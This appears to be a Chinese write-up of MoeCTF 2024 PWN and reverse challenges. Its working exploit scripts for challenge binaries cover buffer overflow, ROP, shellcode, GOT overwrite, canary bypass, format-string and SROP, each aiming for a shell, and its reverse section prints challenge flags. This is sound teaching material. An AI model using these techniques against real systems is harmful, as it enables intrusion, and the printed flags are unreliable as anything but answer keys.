PWN 二进制漏洞审计入门指北 直接 nc 连接即可cat flag
NotEnoughTime
算数类题目,主要考点为 pwntools 的使用。
在使⽤eval
前需要去除多行算式中的\n
以及末尾的=
以符合 Python 语法。
除法是整数除法,在 Python 中为//
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwncli import * cli_script() io: tube = gift.io sla(b"=" ,b"2" ) sla(b"=" ,b"0" ) ru(b"!" )for _ in range (20 ): sl( str ( eval ( ru(b"=" ) .replace(b"\n" ,b"" ) .replace(b"=" ,b"" ) .replace(b"/" ,b"//" ) .decode() ) ).encode() ) ia()
no_more_gets
main
函数,很明显gets(s2)
存在栈溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __fastcall main (int argc, const char **argv, const char **envp) { char s1[80 ]; char s2[80 ]; init(argc, argv, envp); arc4random_buf(s1, 80LL ); write(1 , "This is my own shell, enter the password or get out.\n" , 0x36 uLL); gets(s2); if ( !strncmp (s1, s2, 0x50 uLL) ) my_shell(); else write(1 , "Password wrong!\n" , 0x11 uLL); return 0 ; }
my_shell
函数,我们可以直接通过栈溢出 ret2text 来 getshell。
1 2 3 4 5 int my_shell () { write(1 , "Welcome back.\n" , 0xF uLL); return system("/bin/sh" ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf ret=0x40101a sys=0x401176 r() payload=b'a' *88 +p64(ret)+p64(sys) s(payload) ia()
leak_sth
格式化字符串泄露栈上信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf r() s(b"%7$ld" ) r() num=int (ru(b"G" )[:-1 ]) r() s(str (num)) ia()
ez_shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import * context(log_level='debug' , arch='amd64' , os='linux' , terminal = ['tmux' , 'sp' , '-h' , '-p' , '70' ]) file_name = './pwn' io = remote('127.0.0.1' , 54533 ) sh = asm(shellcraft.sh()) io.recvuntil('age:\n' ) io.sendline(b'200' ) io.recvuntil('you :\n' ) gift = io.recvuntil('\n' ) gift = eval (gift.decode()) ow = sh.ljust(0x60 + 0x8 , b'\x90' ) + p64(gift) + p64(0x101a ) io.sendline(ow) io.interactive()
这是什么?libc!
程序本⾝没有pop rdi
等⽤于传递参数的 gadget,也没有可以 getshell 的函数( system 、 execve 等)但是程序泄露了puts
函数的 libc 地址,我们通过接收puts
函数地址来计算 libc 基址从而计算 libc 中的 gadget 以及system
函数来进行 getshell 需要从 libc 中获取。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf libc=ELF("./libc.so.6" ) ru(b"0x" ) libc.address=int (r(12 ),16 )-libc.sym.puts payload=cyclic(9 )+flat([libc.search(asm("pop rdi;ret;" )).__next__()+1 , libc.search(asm("pop rdi;ret;" )).__next__(), libc.search(b"/bin/sh\x00" ).__next__(), libc.sym.system, ]) sa(b">" ,payload) ia()
这是什么?shellcode
查保护发现程序没有保护 NX 保护,gdb 调试发现程序直接将输入的内容作为代码执行。
直接输入 shellcode 即可。
1 2 3 4 5 6 7 8 9 10 11 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf s(asm(shellcraft.sh())) ia()
这是什么?random
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf rands = [94628 , 29212 , 40340 , 61479 , 52327 , 69717 , 13474 , 57303 , 18980 , 86711 , 33971 , 90017 , 48999 , 57470 , 76676 , 92638 , 37434 , 77014 , 78089 , 95060 ]for i in rands: ru(b'> ' ) sl(str (i).encode()) ia()
flag_helper #系统调用
这是什么?GOT!
考点为动态链接以及 gdb 的使用
程序直接将输入写入 got 表,我们通过将exit
函数的 got 表修改为bookdoor
函数来 getshell,但是我们不能覆盖 system
函数的 got表,但是system
函数还未进行调用,即未进行重定位,我们通过 gdb 查看system
的 got 表的内存值,然后将其覆盖。
1 2 3 4 5 6 7 8 9 10 11 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf r() unreach=0x401196 system=0x401056 payload=b'a' *0x10 + p64(system) + b'a' *0x20 + p64(unreach) s(payload) ia()
NX_on!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf libc: ELF = gift.libc rax=0x00000000004508b7 rdi=0x000000000040239f rsi=0x000000000040a40e rdx_rbx=0x000000000049d12b syscall=0x0000000000402154 sh=0x04E3950 s(b'a' *24 +b'B' ) ru(b'B' ) canary=u64(b'\x00' +r(7 )) payload=b'a' *24 +p64(canary)+p64(0 )+p64(rax)+p64(0x3b )+p64(rdi)+p64(sh)+p64(rsi)+p64(0 )+p64(rdx_rbx)+p64(0 )*2 +p64(syscall) r() s(payload) ru(b"quit" ) sl(b'-1111' ) ia()
这是什么?32-bit!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf libc: ELF = gift.libc sl() ru(b'word: ' ) sl(cyclic(0x28 +0x4 ) + p32(0x8049212 ) + p32(0x0804A011 ) + p32(0 )*2 ) ia()
Moeplane #整数溢出
Login system
通过栈上格式化字符串漏洞覆盖 password 全局变量,板⼦题。要注意的是格式化字符串应 该在前⾯,⽽地址应该在后⾯,不然格式化字符串会被 \x00 截断。
1 2 3 4 from pwn import * from ctools import * context(os="linux" , arch="amd64" ) TMUX_TERMINAL()
Catch_the_canary!
绕过canary
shellcode_revenge
本题⽬中决定权限的 level 处于 .bss 段上, 因此可以通过名称数组负索引访问修改。 (当然,直接⽤ random 也能秒 T.T ) 修改 level 后, 就可以构造 shellcode 了,这⾥由于可读⼊的空间有限,可以考虑重新 调⽤ read(), 由于前⾯刚刚调⽤过 read() ,因此其中的 rdi 与 修改 rdx 和 rsi 即可,使新调⽤的 read 能在本段 rax ⽆需再进⾏设置,只需要 shellcode 后⾯读⼊⾜够⻓的字节 由于开启了沙箱,后⾯直接 orw 即可
Pwn_it_off!
return 15
srop 模板题目,程序中还存在/bin/sh
字符串,直接利用 pwntools 集成工具⼀把梭
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf libc: ELF = gift.libc def exp (): syscall_ret=0x40111c mov_rax_15 = 0x40110A binsh = 0x402008 frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = binsh frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_ret pad = b'a' * 0x28 + p64(mov_rax_15) + p64(syscall_ret) pad += bytes (frame) sl(pad) pass try : exp() ia()finally : ic()
System_not_found!
Read_once_twice!
Where is fmt?
Got it!
栈的奇妙之旅
根据题目名称就可以猜测是栈迁移。
One Chance!
Goldenwing
luosh
RE 入门指北 直接给出了解题代码,编译运行拿到 flag。
Xor
判断buffer
异或0x24
后是否与byte_1400022B8
相等。
判断byte_1400022B8
为密文,我们将它与0x24
异或即可。
简单异或加密。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 int __fastcall main (int argc, const char **argv, const char **envp) { FILE *v3; __int64 i; char Buffer[16 ]; __int128 v7; __int64 v8; int v9; char v10; sub_140001010("Input Your Flag moectf{xxx} (len = 45) \n" ); v8 = 0 i64; *Buffer = 0 i64; v9 = 0 ; v7 = 0 i64; v10 = 0 ; v3 = _acrt_iob_func(0 ); fgets(Buffer, 45 , v3); for ( i = 0 i64; i < 44 ; ++i ) { if ( (Buffer[i] ^ 0x24 ) != byte_1400022B8[i] ) { sub_140001010("FLAG is wrong!\n" ); system("pause" ); exit (0 ); } } sub_140001010("FLAG is RIGHT!\n" ); system("pause" ); return 0 ; }
1 2 3 4 5 6 enc=[0x49 , 0x4B , 0x41 , 0x47 , 0x50 , 0x42 , 0x5F , 0x41 , 0x1C , 0x16 , 0x46 , 0x10 , 0x13 , 0x1C , 0x40 , 0x09 , 0x42 , 0x16 , 0x46 , 0x1C , 0x09 , 0x10 , 0x10 , 0x42 , 0x1D , 0x09 , 0x46 , 0x15 , 0x14 , 0x14 , 0x09 , 0x17 , 0x16 , 0x14 , 0x41 , 0x40 , 0x40 , 0x16 , 0x14 , 0x47 , 0x12 , 0x40 , 0x14 , 0x59 ] flag="" for i in range (len (enc)): flag+=chr (enc[i]^0x24 )print (flag)
upx
exeinfo 查壳发现有 upx 壳,利用 upx 脱壳机脱壳。
ida 反编译程序在main
函数中发现 flag。
1 2 3 4 5 6 7 8 9 10 11 12 int __fastcall main (int argc, const char **argv, const char **envp) { char Str2[40 ]; strcpy (Str2, "You Will Never Know The Right Flag!!!\n" ); if ( !strcmp ("moectf{ec5390dd-f8cf-4b02-bc29-3bb0c5604c29}" , Str2) ) sub_140001010("FLAG is RIGHT!\n" ); else sub_140001010("%s" ); system("pause" ); return 0 ; }
dynamic
根据程序题目名称可以判断应该是动态调试类的题目。
我们在输出调试处打个断点将程序动态调试起来
ida打开分析
1 2 3 4 sub_7FF74787129E(v7, 4294967284 i64, v8);printf ("What happened to my Flag?\n" ); sub_7FF74787129E(v7, 12 i64, v8);printf ("Your Flag has REencrypted." );
动态调试起来之后,可以在变量v7
中看到flag。
1 2 3 Stack[00007008 ]:00000054 D177F7E7 db 0 CCh Stack[00007008 ]:00000054 D177F7E8 aMoectf18d4c944 db 'moectf{18d4c944-947c-4808-9536-c7d34d6b3827}' ,0 Stack[00007008 ]:00000054 D177F815 db 0
Reverse 问卷: Bye, MoeCTF2024 填写问卷拿到 flag。
upx-revenge
exeinfo查壳发现加了 upx 壳,直接利用脱壳机脱壳失败。
利用 010 打开查看程序机器码,可以看到 upx 的标识被修改为了 vmp。
我们修改回来即可使用脱壳机脱壳。
ida打开看到flag
1 2 3 4 5 6 7 8 9 10 11 12 int __fastcall main (int argc, const char **argv, const char **envp) { char Str2[56 ]; strcpy (Str2, "[REVENGE!]You Will Never Know The Right Flag!!!\n" ); if ( !strcmp ("moectf{554ea35c-a1bb-4d8f-a323-bd697564bf27}" , Str2) ) sub_140001010("FLAG is RIGHT!\n" ); else sub_140001010("%s" ); system("pause" ); return 0 ; }
xtea
根据程序判断为 xtea 加密。
运行程序,提示输入。
ida打开分析,根据提示输入字符串进行定位。
main
函数代码,判断程序为 C++ 编写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 int __fastcall main_0 (int argc, const char **argv, const char **envp) { char *v3; __int64 i; __int64 v5; __int64 v6; __int64 v7; __int64 v8; __int64 v10; char v11; unsigned int v12; char Str[48 ]; int v14[12 ]; char Src[32 ]; char v16[28 ]; int j; v3 = &v11; for ( i = 58 i64; i; --i ) { *v3 = -858993460 ; v3 += 4 ; } j___CheckForDebuggerJustMyCode (&unk_140028066, argv, envp); v12 = 32 ; memset (Str, 0 , 0xDu i64); v5 = sub_1400110AA (std::cout, "please input key:" ); std::ostream::operator <<(v5, sub_140011046); sub_14001153C (std::cin, Str); v14[0 ] = 2 ; v14[1 ] = 0 ; v14[2 ] = 2 ; v14[3 ] = 4 ; v6 = sub_1400110AA (std::cout, "let me check your key" ); std::ostream::operator <<(v6, sub_140011046); v7 = sub_1400110AA (std::cout, "emmm" ); std::ostream::operator <<(v7, sub_140011046); if ( j_strlen (Str) == 12 ) { memset (v16, 0 , 8u i64); j_memcpy (Src, Str, 8u i64); sub_14001119F (v12, Src, v14); j_memcpy (Str, Src, 8u i64); j_memcpy (v16, &Str[4 ], 8u i64); sub_14001119F (v12, v16, v14); j_memcpy (&Str[4 ], v16, 8u i64); for ( j = 0 ; j < 12 ; ++j ) { if ( Str[j] != byte_140022000[j] ) goto LABEL_5; } v10 = sub_1400110AA (std::cout, "Correct key! Your flag is moectf{your key}" ); std::ostream::operator <<(v10, sub_140011046); return 0 ; } else { LABEL_5: v8 = sub_1400110AA (std::cout, "XD,wrong!" ); std::ostream::operator <<(v8, sub_140011046); return 0 ; } }
根据程序逻辑修改符号名称。
d0tN3t
下载附件拿到一个dll
文件,根据题目名称判定为 C# 逆向。
我们用 dnSpy 打开可执行文件。
在项目的命名空间中我们可以看到Main
函数,进入查看。
程序的主要逻辑就在Main
函数中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 private static void <Main>$(string [] args) { byte [] array = new byte [] { 173 , 146 , 161 , 174 , 132 , 179 , 187 , 234 , 231 , 244 , 177 , 161 , 65 , 13 , 18 , 12 , 166 , 247 , 229 , 207 , 125 , 109 , 67 , 180 , 230 , 156 , 125 , 127 , 182 , 236 , 105 , 21 , 215 , 148 , 92 , 18 , 199 , 137 , 124 , 38 , 228 , 55 , 62 , 164 }; Console.WriteLine("Input Your Flag:" ); string text = Console.ReadLine(); if (text.Length != array.Length) { Console.WriteLine("Flag is WRONG!!!" ); return ; } int num = 1 ; for (int i = 0 ; i < array.Length; i++) { if ((byte )((int )((byte )text[i] + 114 ^ 114 ) ^ i * i) != array[i]) { num &= 0 ; } } if (num == 1 ) { Console.WriteLine("Correct Flag!!!" ); return ; } Console.WriteLine("Flag is WRONG!!!" ); }
这里对输入的内容进行了操作,如果操作后的内容与密文相等则输入的内容就是正确的。
1 2 3 4 5 6 7 8 for (int i = 0 ; i < array.Length; i++) { if ((byte )((int )((byte )text[i] + 114 ^ 114 ) ^ i * i) != array[i]) { num &= 0 ; } }
根据加密逻辑编写解密脚本
将加密逻辑逆过来就是:先与i*i
异或,然后再与114异或,最后减去114
1 2 3 4 5 6 7 8 9 10 11 12 13 enc = [ 173 , 146 , 161 , 174 , 132 , 179 , 187 , 234 , 231 , 244 , 177 , 161 , 65 , 13 , 18 , 12 , 166 , 247 , 229 , 207 , 125 , 109 , 67 , 180 , 230 , 156 , 125 , 127 , 182 , 236 , 105 , 21 , 215 , 148 , 92 , 18 , 199 , 137 , 124 , 38 , 228 , 55 , 62 , 164 ] flag = "" for i in range (len (enc)): flag += chr (((enc[i] ^ (i * i)) ^ 114 ) - 114 & 0xff )print (flag)
rc4
标准 RC4。
1 2 3 4 5 6 7 8 9 10 from Crypto.Cipher import ARC4 key = b"RC4_1s_4w3s0m3" enc = bytes .fromhex("A7 1A 68 EC D8 27 11 CC 8C 9B 16 15 5C D2 67 3E 82 AD CE 75 D4 BC 57 56 C2 8A 52 B8 6B D6 CC F8 A4 BA 72 2F E0 57 15 B9 24 11" ) rc4 = ARC4.new(key) dec = rc4.decrypt(enc)print (dec)
xxtea
TEA
逆向工程进阶之北
这个指北中的问题是,如何求解乘法逆元。 我们使用Python的库pycryptodome3
from Crypto.Util.number import * >>> inverse(0xccffbbbb, 0xffffffff+1) 2371998067 很容易就可以求得乘法逆元,注意的是要+1,是因为0xffffffff范围内还有0,而模数(第二个参数)取决于有限 域的大小而不是最大值。 EXP void flag_decryption() { DWORD flag[12] = { 0xb5073388 , 0xf58ea46f , 0x8cd2d760 , 0x7fc56cda , 0x52bc07da , 0x29054b48 , 0x42d74750 , 0x11297e95 , 0x5cf2821b , 0x747970da , 0x64793c81, 0x00000000 }; for (int i = 0; i < 11; i++) { *(flag + i) ^= 0xdeadbeef + 0xd3906; *(flag + i) -= 0xdeadc0de; *(flag + i) = 2371998067; // 0xccffbbbb 的乘法逆元(在mod 0xffffffff+1下) Ref: https://zh.planetcalc.com/3311/ } std::cout << (unsigned char )flag << std::endl; // moectf{c5f44c32-cbb9-444e-aef4-c0fa7c7a6b7a} } moectf{c5f44c32-cbb9-444e-aef4-c0fa7c7a6b7a} moedaily 题目实现了一个Excel表格,利用其中的Function功能实现了一个TEA加密。 在表单可以发现有s3cr3t,进去后 可以看到满屏的计算过程 进行分析,发现是密码为 114514 1919810 415144 19883 偏移为114514的标准TEA加 密,而且加密了两次。 回到第一页,找到判断条件 =IF(LEN(D11)=48,IF(AND(AND(AND(AND(AND(AND(H14=1397140385,I14=2386659843),AND(H15= 962571399,I15=3942687964)),AND(H16=3691974192,I16=863943258)),AND(H17=216887638,I1 7=3212824238)),AND(H18=3802077983,I18=1839161422)),AND(H19=1288683919,I19=32229156 26)),”恭喜你,拿到了真的FLAG”,”FLAG输入错了,再试试”),”flag长度不对”) 可以得到结论H14=1397140385,I14=2386659843 H15=962571399,I15=3942687964 H16=3691974192,I16=863943258 H17=216887638,I17=3212824238 H18=3802077983,I18=1839161422 H19=1288683919,I19=3222915626 带入TEA可以得到(注意程序进行了两次TEA加密) moectf{3xC3l_1S_n0t_just_f0r_d41ly_w0rk_bu7_R3V}
moedaily 题目实现了一个Excel表格,利用其中的Function功能实现了一个TEA加密。 在表单可以发现有s3cr3t,进去后 可以看到满屏的计算过程 进行分析,发现是密码为 114514 1919810 415144 19883 偏移为114514的标准TEA加 密,而且加密了两次。 回到第一页,找到判断条件
1 2 3 4 5 6 H14=1397140385,I14=2386659843 H15=962571399,I15=3942687964 H16=3691974192,I16=863943258 H17=216887638,I17=3212824238 H18=3802077983,I18=1839161422 H19=1288683919,I19=3222915626
moejvav 题目是在Java下的简单虚拟机(vm)逆向工程。 稍微分析一下,得到下面的结论
sm4
ezMAZE bfs
Just-Run-It 包含了四个可执行文件,这个题可以载入静态分析,获取flag,也可以仅仅RUN,获得flag 0x0 与 0x1均加了 upx壳 0x0 windows下的x64执行文件,运行后
SecretModule Magisk Module Shell Script解密 然后是一点点Android知识 需要知道 getevent 命令
Cython-Strike: Bomb Defusion 略
SMCProMax SMC + 偷偷改东西 + z3使用 先动调,发现smc解密异或0x90,然后就可以patch,然后拖入IDA,可以抄出来 一个类似hash的算法,但是这个算法是可以求解其输入的,我们就可以解了。
ezMAZE-彩蛋 在地图中可以找到 flag。
xor(大嘘) XOR里面藏了一个TEA,并且有花指令,ida直接看不出来。 EXP
babe-z3 BlackHole LoadLibrary然后调用函数进行暴力破解
moeprotector SEH
特工luo: 闻风而动 易语言逆向,略
特工luo: 深入敌营 VM题目,拿去年 NCTF ezVM 的题改的简单版本
Be the first person to leave a comment!